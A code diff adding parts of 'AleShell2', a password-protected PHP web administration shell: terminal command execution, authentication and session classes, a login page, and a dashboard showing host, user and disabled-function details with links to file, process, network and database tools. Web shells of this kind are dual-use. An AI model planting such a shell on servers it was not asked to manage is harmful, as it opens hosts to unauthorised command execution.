if ($stderr) $error .= $stderr;
|
||||
|
||||
// Check if process has ended
|
||||
$status = proc_get_status($process);
|
||||
if (!$status['running']) {
|
||||
break;
|
||||
}
|
||||
|
||||
// Prevent memory issues
|
||||
if (strlen($output) + strlen($error) > $maxOutput) {
|
||||
$output .= "\n[Output truncated - exceeds limit]";
|
||||
break;
|
||||
}
|
||||
|
||||
usleep(10000); // 10ms sleep
|
||||
}
|
||||
|
||||
// Read any remaining output
|
||||
$output .= stream_get_contents($pipes[1]);
|
||||
$error .= stream_get_contents($pipes[2]);
|
||||
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
|
||||
$exitCode = proc_close($process);
|
||||
|
||||
// Combine output
|
||||
$finalOutput = $output;
|
||||
if ($error) {
|
||||
$finalOutput .= ($finalOutput ? "\n" : '') . $error;
|
||||
}
|
||||
|
||||
// Get current directory (might have changed)
|
||||
$newCwd = getcwd();
|
||||
|
||||
return [
|
||||
'output' => $finalOutput,
|
||||
'exit_code' => $exitCode,
|
||||
'cwd' => $newCwd,
|
||||
];
|
||||
|
||||
} catch (\Exception $e) {
|
||||
return [
|
||||
'output' => "Error: " . $e->getMessage(),
|
||||
'exit_code' => 1,
|
||||
'cwd' => $workingDir,
|
||||
];
|
||||
} finally {
|
||||
chdir($originalDir);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add command to history
|
||||
*/
|
||||
private function addToHistory(string $command): void
|
||||
{
|
||||
$app = Application::getInstance();
|
||||
$session = $app->getSession();
|
||||
|
||||
$history = $session->get('terminal_history', []);
|
||||
|
||||
// Don't add duplicates
|
||||
if (end($history) !== $command) {
|
||||
$history[] = $command;
|
||||
|
||||
// Limit history size
|
||||
$maxHistory = $this->config['limits']['max_history'] ?? 100;
|
||||
if (count($history) > $maxHistory) {
|
||||
$history = array_slice($history, -$maxHistory);
|
||||
}
|
||||
|
||||
$session->set('terminal_history', $history);
|
||||
}
|
||||
}
|
||||
}
|
||||
221
src/Security/Auth.php
Archivo normal
221
src/Security/Auth.php
Archivo normal
@@ -0,0 +1,221 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Authentication
|
||||
*
|
||||
* Handles user authentication.
|
||||
*
|
||||
* @package AleShell2\Security
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Security;
|
||||
|
||||
class Auth
|
||||
{
|
||||
private array $config;
|
||||
private Session $session;
|
||||
|
||||
public function __construct(array $config, Session $session)
|
||||
{
|
||||
$this->config = $config;
|
||||
$this->session = $session;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if user is authenticated
|
||||
*/
|
||||
public function isAuthenticated(): bool
|
||||
{
|
||||
return $this->session->get('authenticated') === true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Attempt to authenticate user
|
||||
*/
|
||||
public function attempt(string $password): bool
|
||||
{
|
||||
// Check rate limiting
|
||||
if ($this->isRateLimited()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get stored password hash
|
||||
$storedHash = $this->config['security']['password'] ?? '';
|
||||
|
||||
// Verify password
|
||||
if (password_verify($password, $storedHash)) {
|
||||
$this->login();
|
||||
return true;
|
||||
}
|
||||
|
||||
// Record failed attempt
|
||||
$this->recordFailedAttempt();
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Log user in
|
||||
*/
|
||||
public function login(): void
|
||||
{
|
||||
// Regenerate session ID
|
||||
$this->session->regenerateId();
|
||||
|
||||
// Set authentication data
|
||||
$this->session->set('authenticated', true);
|
||||
$this->session->set('login_time', time());
|
||||
$this->session->set('last_activity', time());
|
||||
$this->session->set('user_ip', $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0');
|
||||
$this->session->set('csrf_token', $this->generateCsrfToken());
|
||||
|
||||
// Clear failed attempts
|
||||
$this->clearFailedAttempts();
|
||||
}
|
||||
|
||||
/**
|
||||
* Log user out
|
||||
*/
|
||||
public function logout(): void
|
||||
{
|
||||
$this->session->destroy();
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if rate limited
|
||||
*/
|
||||
public function isRateLimited(): bool
|
||||
{
|
||||
$attempts = $this->session->get('failed_attempts', []);
|
||||
$maxAttempts = $this->config['security']['max_attempts'] ?? 5;
|
||||
$lockoutTime = $this->config['security']['lockout_time'] ?? 300;
|
||||
|
||||
// Clean old attempts
|
||||
$attempts = array_filter($attempts, function ($time) use ($lockoutTime) {
|
||||
return time() - $time < $lockoutTime;
|
||||
});
|
||||
|
||||
$this->session->set('failed_attempts', $attempts);
|
||||
|
||||
return count($attempts) >= $maxAttempts;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get remaining lockout time
|
||||
*/
|
||||
public function getRemainingLockoutTime(): int
|
||||
{
|
||||
$attempts = $this->session->get('failed_attempts', []);
|
||||
$lockoutTime = $this->config['security']['lockout_time'] ?? 300;
|
||||
|
||||
if (empty($attempts)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
$firstAttempt = min($attempts);
|
||||
$elapsed = time() - $firstAttempt;
|
||||
|
||||
return max(0, $lockoutTime - $elapsed);
|
||||
}
|
||||
|
||||
/**
|
||||
* Record failed login attempt
|
||||
*/
|
||||
private function recordFailedAttempt(): void
|
||||
{
|
||||
$attempts = $this->session->get('failed_attempts', []);
|
||||
$attempts[] = time();
|
||||
$this->session->set('failed_attempts', $attempts);
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear failed attempts
|
||||
*/
|
||||
private function clearFailedAttempts(): void
|
||||
{
|
||||
$this->session->remove('failed_attempts');
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate CSRF token
|
||||
*/
|
||||
public function generateCsrfToken(): string
|
||||
{
|
||||
$token = bin2hex(random_bytes(32));
|
||||
$this->session->set('csrf_token', $token);
|
||||
return $token;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get CSRF token
|
||||
*/
|
||||
public function getCsrfToken(): string
|
||||
{
|
||||
$token = $this->session->get('csrf_token');
|
||||
|
||||
if (!$token) {
|
||||
$token = $this->generateCsrfToken();
|
||||
}
|
||||
|
||||
return $token;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate CSRF token
|
||||
*/
|
||||
public function validateCsrfToken(string $token): bool
|
||||
{
|
||||
if (!($this->config['security']['csrf_protection'] ?? true)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
$storedToken = $this->session->get('csrf_token');
|
||||
|
||||
if (!$storedToken || !$token) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return hash_equals($storedToken, $token);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get login time
|
||||
*/
|
||||
public function getLoginTime(): ?int
|
||||
{
|
||||
return $this->session->get('login_time');
|
||||
}
|
||||
|
||||
/**
|
||||
* Get last activity time
|
||||
*/
|
||||
public function getLastActivity(): ?int
|
||||
{
|
||||
return $this->session->get('last_activity');
|
||||
}
|
||||
|
||||
/**
|
||||
* Update last activity
|
||||
*/
|
||||
public function updateActivity(): void
|
||||
{
|
||||
$this->session->set('last_activity', time());
|
||||
}
|
||||
|
||||
/**
|
||||
* Get user IP
|
||||
*/
|
||||
public function getUserIP(): string
|
||||
{
|
||||
return $this->session->get('user_ip', '0.0.0.0');
|
||||
}
|
||||
|
||||
/**
|
||||
* Hash a password
|
||||
*/
|
||||
public static function hashPassword(string $password): string
|
||||
{
|
||||
return password_hash($password, PASSWORD_BCRYPT, ['cost' => 10]);
|
||||
}
|
||||
}
|
||||
205
src/Security/Session.php
Archivo normal
205
src/Security/Session.php
Archivo normal
@@ -0,0 +1,205 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Session Manager
|
||||
*
|
||||
* Handles session management.
|
||||
*
|
||||
* @package AleShell2\Security
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Security;
|
||||
|
||||
class Session
|
||||
{
|
||||
private array $config;
|
||||
private bool $started = false;
|
||||
|
||||
public function __construct(array $config)
|
||||
{
|
||||
$this->config = $config;
|
||||
}
|
||||
|
||||
/**
|
||||
* Start session
|
||||
*/
|
||||
public function start(): void
|
||||
{
|
||||
if ($this->started || session_status() === PHP_SESSION_ACTIVE) {
|
||||
$this->started = true;
|
||||
return;
|
||||
}
|
||||
|
||||
// Configure session
|
||||
$this->configure();
|
||||
|
||||
// Start session
|
||||
session_start();
|
||||
$this->started = true;
|
||||
|
||||
// Check session timeout
|
||||
$this->checkTimeout();
|
||||
|
||||
// Regenerate session ID periodically
|
||||
$this->regenerate();
|
||||
}
|
||||
|
||||
/**
|
||||
* Configure session settings
|
||||
*/
|
||||
private function configure(): void
|
||||
{
|
||||
// Session name
|
||||
session_name('ALESHELL_SESS');
|
||||
|
||||
// Cookie settings
|
||||
$cookieParams = [
|
||||
'lifetime' => 0,
|
||||
'path' => '/',
|
||||
'domain' => '',
|
||||
'secure' => isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off',
|
||||
'httponly' => true,
|
||||
'samesite' => 'Strict',
|
||||
];
|
||||
|
||||
session_set_cookie_params($cookieParams);
|
||||
|
||||
// Use strict mode
|
||||
ini_set('session.use_strict_mode', '1');
|
||||
ini_set('session.use_only_cookies', '1');
|
||||
ini_set('session.use_trans_sid', '0');
|
||||
}
|
||||
|
||||
/**
|
||||
* Check session timeout
|
||||
*/
|
||||
private function checkTimeout(): void
|
||||
{
|
||||
$timeout = $this->config['security']['session_timeout'] ?? 3600;
|
||||
|
||||
if (isset($_SESSION['last_activity'])) {
|
||||
if (time() - $_SESSION['last_activity'] > $timeout) {
|
||||
// Session expired
|
||||
$this->destroy();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
$_SESSION['last_activity'] = time();
|
||||
}
|
||||
|
||||
/**
|
||||
* Regenerate session ID periodically
|
||||
*/
|
||||
private function regenerate(): void
|
||||
{
|
||||
$regenerateInterval = 300; // 5 minutes
|
||||
|
||||
if (!isset($_SESSION['created'])) {
|
||||
$_SESSION['created'] = time();
|
||||
} elseif (time() - $_SESSION['created'] > $regenerateInterval) {
|
||||
session_regenerate_id(true);
|
||||
$_SESSION['created'] = time();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Set session value
|
||||
*/
|
||||
public function set(string $key, mixed $value): void
|
||||
{
|
||||
$_SESSION[$key] = $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get session value
|
||||
*/
|
||||
public function get(string $key, mixed $default = null): mixed
|
||||
{
|
||||
return $_SESSION[$key] ?? $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if session key exists
|
||||
*/
|
||||
public function has(string $key): bool
|
||||
{
|
||||
return isset($_SESSION[$key]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove session key
|
||||
*/
|
||||
public function remove(string $key): void
|
||||
{
|
||||
unset($_SESSION[$key]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all session data
|
||||
*/
|
||||
public function all(): array
|
||||
{
|
||||
return $_SESSION ?? [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Flash message (available only for next request)
|
||||
*/
|
||||
public function flash(string $key, mixed $value): void
|
||||
{
|
||||
$_SESSION['_flash'][$key] = $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get flash message
|
||||
*/
|
||||
public function getFlash(string $key, mixed $default = null): mixed
|
||||
{
|
||||
$value = $_SESSION['_flash'][$key] ?? $default;
|
||||
unset($_SESSION['_flash'][$key]);
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Destroy session
|
||||
*/
|
||||
public function destroy(): void
|
||||
{
|
||||
$_SESSION = [];
|
||||
|
||||
if (ini_get('session.use_cookies')) {
|
||||
$params = session_get_cookie_params();
|
||||
setcookie(
|
||||
session_name(),
|
||||
'',
|
||||
time() - 42000,
|
||||
$params['path'],
|
||||
$params['domain'],
|
||||
$params['secure'],
|
||||
$params['httponly']
|
||||
);
|
||||
}
|
||||
|
||||
session_destroy();
|
||||
$this->started = false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get session ID
|
||||
*/
|
||||
public function getId(): string
|
||||
{
|
||||
return session_id();
|
||||
}
|
||||
|
||||
/**
|
||||
* Regenerate session ID
|
||||
*/
|
||||
public function regenerateId(): void
|
||||
{
|
||||
session_regenerate_id(true);
|
||||
$_SESSION['created'] = time();
|
||||
}
|
||||
}
|
||||
246
src/Views/auth/login.php
Archivo normal
246
src/Views/auth/login.php
Archivo normal
@@ -0,0 +1,246 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Login View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
|
||||
$error = $data['error'] ?? '';
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Login - AleShell2</title>
|
||||
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'><text y='.9em' font-size='90'>🐚</text></svg>">
|
||||
<style>
|
||||
:root {
|
||||
--bg-primary: #0d1117;
|
||||
--bg-secondary: #161b22;
|
||||
--bg-tertiary: #21262d;
|
||||
--border-color: #30363d;
|
||||
--text-primary: #c9d1d9;
|
||||
--text-secondary: #8b949e;
|
||||
--accent-primary: #58a6ff;
|
||||
--accent-danger: #f85149;
|
||||
--font-sans: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
||||
}
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: var(--font-sans);
|
||||
background: var(--bg-primary);
|
||||
color: var(--text-primary);
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.login-container {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
}
|
||||
|
||||
.login-header {
|
||||
text-align: center;
|
||||
margin-bottom: 32px;
|
||||
}
|
||||
|
||||
.login-logo {
|
||||
font-size: 64px;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.login-title {
|
||||
font-size: 28px;
|
||||
font-weight: 600;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.login-subtitle {
|
||||
color: var(--text-secondary);
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.login-card {
|
||||
background: var(--bg-secondary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 12px;
|
||||
padding: 32px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-label {
|
||||
display: block;
|
||||
font-size: 13px;
|
||||
font-weight: 500;
|
||||
color: var(--text-secondary);
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.form-input {
|
||||
width: 100%;
|
||||
padding: 12px 14px;
|
||||
background: var(--bg-primary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
color: var(--text-primary);
|
||||
font-size: 14px;
|
||||
transition: all 0.15s ease;
|
||||
}
|
||||
|
||||
.form-input:focus {
|
||||
outline: none;
|
||||
border-color: var(--accent-primary);
|
||||
box-shadow: 0 0 0 3px rgba(88, 166, 255, 0.2);
|
||||
}
|
||||
|
||||
.form-input::placeholder {
|
||||
color: #6e7681;
|
||||
}
|
||||
|
||||
.login-btn {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
background: var(--accent-primary);
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
color: white;
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
transition: background 0.15s ease;
|
||||
}
|
||||
|
||||
.login-btn:hover {
|
||||
background: #4c9aed;
|
||||
}
|
||||
|
||||
.login-btn:disabled {
|
||||
opacity: 0.7;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.alert {
|
||||
padding: 12px 16px;
|
||||
border-radius: 6px;
|
||||
font-size: 13px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.alert-danger {
|
||||
background: rgba(248, 81, 73, 0.1);
|
||||
border: 1px solid rgba(248, 81, 73, 0.3);
|
||||
color: var(--accent-danger);
|
||||
}
|
||||
|
||||
.login-footer {
|
||||
text-align: center;
|
||||
margin-top: 24px;
|
||||
font-size: 12px;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.server-info {
|
||||
margin-top: 32px;
|
||||
padding: 16px;
|
||||
background: var(--bg-tertiary);
|
||||
border-radius: 8px;
|
||||
font-size: 12px;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.server-info-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.server-info-row:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.server-info-label {
|
||||
color: #6e7681;
|
||||
}
|
||||
|
||||
/* Animation */
|
||||
@keyframes fadeIn {
|
||||
from { opacity: 0; transform: translateY(-10px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
.login-container {
|
||||
animation: fadeIn 0.3s ease;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="login-container">
|
||||
<div class="login-header">
|
||||
<div class="login-logo">🐚</div>
|
||||
<h1 class="login-title">AleShell2</h1>
|
||||
<p class="login-subtitle">Web Administration Shell</p>
|
||||
</div>
|
||||
|
||||
<div class="login-card">
|
||||
<?php if ($error): ?>
|
||||
<div class="alert alert-danger">
|
||||
<?= htmlspecialchars($error) ?>
|
||||
</div>
|
||||
<?php endif; ?>
|
||||
|
||||
<form method="POST" action="?action=login" autocomplete="off">
|
||||
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($_SESSION['csrf_token'] ?? '') ?>">
|
||||
|
||||
<div class="form-group">
|
||||
<label class="form-label" for="password">Password</label>
|
||||
<input
|
||||
type="password"
|
||||
id="password"
|
||||
name="password"
|
||||
class="form-input"
|
||||
placeholder="Enter your password"
|
||||
autofocus
|
||||
required
|
||||
>
|
||||
</div>
|
||||
|
||||
<button type="submit" class="login-btn">
|
||||
🔐 Sign In
|
||||
</button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<div class="server-info">
|
||||
<div class="server-info-row">
|
||||
<span class="server-info-label">Server</span>
|
||||
<span><?= htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown') ?></span>
|
||||
</div>
|
||||
<div class="server-info-row">
|
||||
<span class="server-info-label">PHP Version</span>
|
||||
<span><?= PHP_VERSION ?></span>
|
||||
</div>
|
||||
<div class="server-info-row">
|
||||
<span class="server-info-label">Your IP</span>
|
||||
<span><?= htmlspecialchars($_SERVER['REMOTE_ADDR'] ?? 'Unknown') ?></span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="login-footer">
|
||||
AleShell2 v1.0.0 © <?= date('Y') ?>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
1055
src/Views/layouts/main.php
Archivo normal
1055
src/Views/layouts/main.php
Archivo normal
La diferencia del archivo ha sido suprimido porque es demasiado grande
Cargar Diff
208
src/Views/modules/dashboard.php
Archivo normal
208
src/Views/modules/dashboard.php
Archivo normal
@@ -0,0 +1,208 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Dashboard View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
|
||||
$systemInfo = $data['systemInfo'] ?? [];
|
||||
$server = $systemInfo['server'] ?? [];
|
||||
$php = $systemInfo['php'] ?? [];
|
||||
$hardware = $systemInfo['hardware'] ?? [];
|
||||
$disk = $systemInfo['disk'] ?? [];
|
||||
?>
|
||||
|
||||
<div class="grid grid-4 mb-3">
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">Server</div>
|
||||
<div class="stat-value" style="font-size: 16px;"><?= htmlspecialchars($server['hostname'] ?? 'Unknown') ?></div>
|
||||
<div class="stat-meta"><?= htmlspecialchars($server['os'] ?? 'Unknown OS') ?></div>
|
||||
</div>
|
||||
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">PHP Version</div>
|
||||
<div class="stat-value" style="font-size: 20px;"><?= htmlspecialchars($php['version'] ?? 'Unknown') ?></div>
|
||||
<div class="stat-meta"><?= htmlspecialchars($php['sapi'] ?? '') ?></div>
|
||||
</div>
|
||||
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">Load Average</div>
|
||||
<div class="stat-value" style="font-size: 20px;"><?= htmlspecialchars($server['load_average']['1min'] ?? 'N/A') ?></div>
|
||||
<div class="stat-meta">
|
||||
5m: <?= htmlspecialchars($server['load_average']['5min'] ?? 'N/A') ?> /
|
||||
15m: <?= htmlspecialchars($server['load_average']['15min'] ?? 'N/A') ?>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="stat-card">
|
||||
<div class="stat-label">Uptime</div>
|
||||
<div class="stat-value" style="font-size: 20px;"><?= htmlspecialchars($server['uptime'] ?? 'Unknown') ?></div>
|
||||
<div class="stat-meta">Since boot</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-2 mb-3">
|
||||
<!-- Server Information -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🖥️ Server Information</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<table class="table">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="text-muted">Hostname</td>
|
||||
<td><?= htmlspecialchars($server['hostname'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">OS</td>
|
||||
<td><?= htmlspecialchars($server['os_detail'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Server Software</td>
|
||||
<td><?= htmlspecialchars($server['server_software'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Server Address</td>
|
||||
<td><?= htmlspecialchars($server['server_addr'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Document Root</td>
|
||||
<td class="text-mono"><?= htmlspecialchars($server['document_root'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Current User</td>
|
||||
<td><?= htmlspecialchars($server['current_user'] ?? 'Unknown') ?> (uid: <?= $server['current_uid'] ?? '?' ?>, gid: <?= $server['current_gid'] ?? '?' ?>)</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- PHP Information -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🐘 PHP Information</h3>
|
||||
<a href="?module=system&action=phpinfo" target="_blank" class="btn btn-sm btn-secondary">View phpinfo()</a>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<table class="table">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="text-muted">Version</td>
|
||||
<td><?= htmlspecialchars($php['version'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">SAPI</td>
|
||||
<td><?= htmlspecialchars($php['sapi'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Memory Limit</td>
|
||||
<td><?= htmlspecialchars($php['memory_limit'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Max Execution Time</td>
|
||||
<td><?= htmlspecialchars($php['max_execution_time'] ?? 'Unknown') ?>s</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Upload Max Size</td>
|
||||
<td><?= htmlspecialchars($php['upload_max_filesize'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Disabled Functions</td>
|
||||
<td style="max-width: 200px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;" title="<?= htmlspecialchars($php['disabled_functions'] ?? 'none') ?>">
|
||||
<?= htmlspecialchars(strlen($php['disabled_functions'] ?? '') > 50 ? substr($php['disabled_functions'], 0, 50) . '...' : ($php['disabled_functions'] ?? 'none')) ?>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-2 mb-3">
|
||||
<!-- Hardware Information -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">💾 Hardware Information</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<table class="table">
|
||||
<tbody>
|
||||
<tr>
|
||||
<td class="text-muted">CPU</td>
|
||||
<td><?= htmlspecialchars($hardware['cpu'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">CPU Cores</td>
|
||||
<td><?= htmlspecialchars($hardware['cpu_cores'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Total Memory</td>
|
||||
<td><?= htmlspecialchars($hardware['memory_total'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Free Memory</td>
|
||||
<td><?= htmlspecialchars($hardware['memory_free'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td class="text-muted">Available Memory</td>
|
||||
<td><?= htmlspecialchars($hardware['memory_available'] ?? 'Unknown') ?></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Disk Information -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">💿 Disk Usage</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<?php if (!empty($disk)): ?>
|
||||
<table class="table table-mono">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Mount</th>
|
||||
<th>Total</th>
|
||||
<th>Used</th>
|
||||
<th>Free</th>
|
||||
<th>%</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<?php foreach (array_slice($disk, 0, 5) as $d): ?>
|
||||
<tr>
|
||||
<td><?= htmlspecialchars($d['mount'] ?? $d['device'] ?? '-') ?></td>
|
||||
<td><?= htmlspecialchars($d['total'] ?? '-') ?></td>
|
||||
<td><?= htmlspecialchars($d['used'] ?? '-') ?></td>
|
||||
<td><?= htmlspecialchars($d['free'] ?? '-') ?></td>
|
||||
<td><?= htmlspecialchars($d['percent_used'] ?? '-') ?></td>
|
||||
</tr>
|
||||
<?php endforeach; ?>
|
||||
</tbody>
|
||||
</table>
|
||||
<?php else: ?>
|
||||
<p class="text-muted">No disk information available</p>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Quick Actions -->
|
||||
<div class="card">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">⚡ Quick Actions</h3>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<div class="flex gap-2" style="flex-wrap: wrap;">
|
||||
<a href="?module=files" class="btn btn-secondary">📁 Browse Files</a>
|
||||
<a href="?module=terminal" class="btn btn-secondary">💻 Open Terminal</a>
|
||||
<a href="?module=processes" class="btn btn-secondary">⚙️ View Processes</a>
|
||||
<a href="?module=network" class="btn btn-secondary">🌐 Network Tools</a>
|
||||
<a href="?module=database" class="btn btn-secondary">🗄️ Database Manager</a>
|
||||
<a href="?module=system" class="btn btn-secondary">🖥️ System Info</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
323
src/Views/modules/database.php
Archivo normal
323
src/Views/modules/database.php
Archivo normal
@@ -0,0 +1,323 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Database View
|
||||
*
|
||||
* @var array $data View data
|
||||
*/
|
||||
|
||||
$connected = isset($_SESSION['db_connection']);
|
||||
$connection = $_SESSION['db_connection'] ?? [];
|
||||
?>
|
||||
|
||||
<div class="grid grid-4 mb-3" style="grid-template-columns: 300px 1fr;">
|
||||
<!-- Sidebar -->
|
||||
<div>
|
||||
<!-- Connection Card -->
|
||||
<div class="card mb-3">
|
||||
<div class="card-header">
|
||||
<h3 class="card-title">🔌 Connection</h3>
|
||||
<?php if ($connected): ?>
|
||||
<span class="badge badge-success">Connected</span>
|
||||
<?php endif; ?>
|
||||
</div>
|
||||
<div class="card-body">
|
||||
<?php if (!$connected): ?>
|
||||
<form id="connect-form" onsubmit="doConnect(event)">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Driver</label>
|
||||
<select id="db-driver" class="form-select">
|
||||
<option value="mysql">MySQL</option>
|
||||
<option value="pgsql">PostgreSQL</option>
|
||||
<option value="sqlite">SQLite</option>
|
||||
</select>
|
||||
</div>
|
||||
<div id="mysql-fields">
|
||||
<div class="form-group">
|
||||
<label class="form-label">Host</label>
|
||||
<input type="text" id="db-host" class="form-input" value="localhost">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">Port</label>
|
||||
<input type="number" id="db-port" class="form-input" value="3306">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">Database</label>
|
||||
<input type="text" id="db-name" class="form-input" placeholder="database_name">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">Username</label>
|
||||
<input type="text" id="db-user" class="form-input" placeholder="root">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="form-label">Password</label>
|
||||
<input type="password" id="db-pass" class="form-input">
|
||||
</div>
|
||||
</div>
|
||||
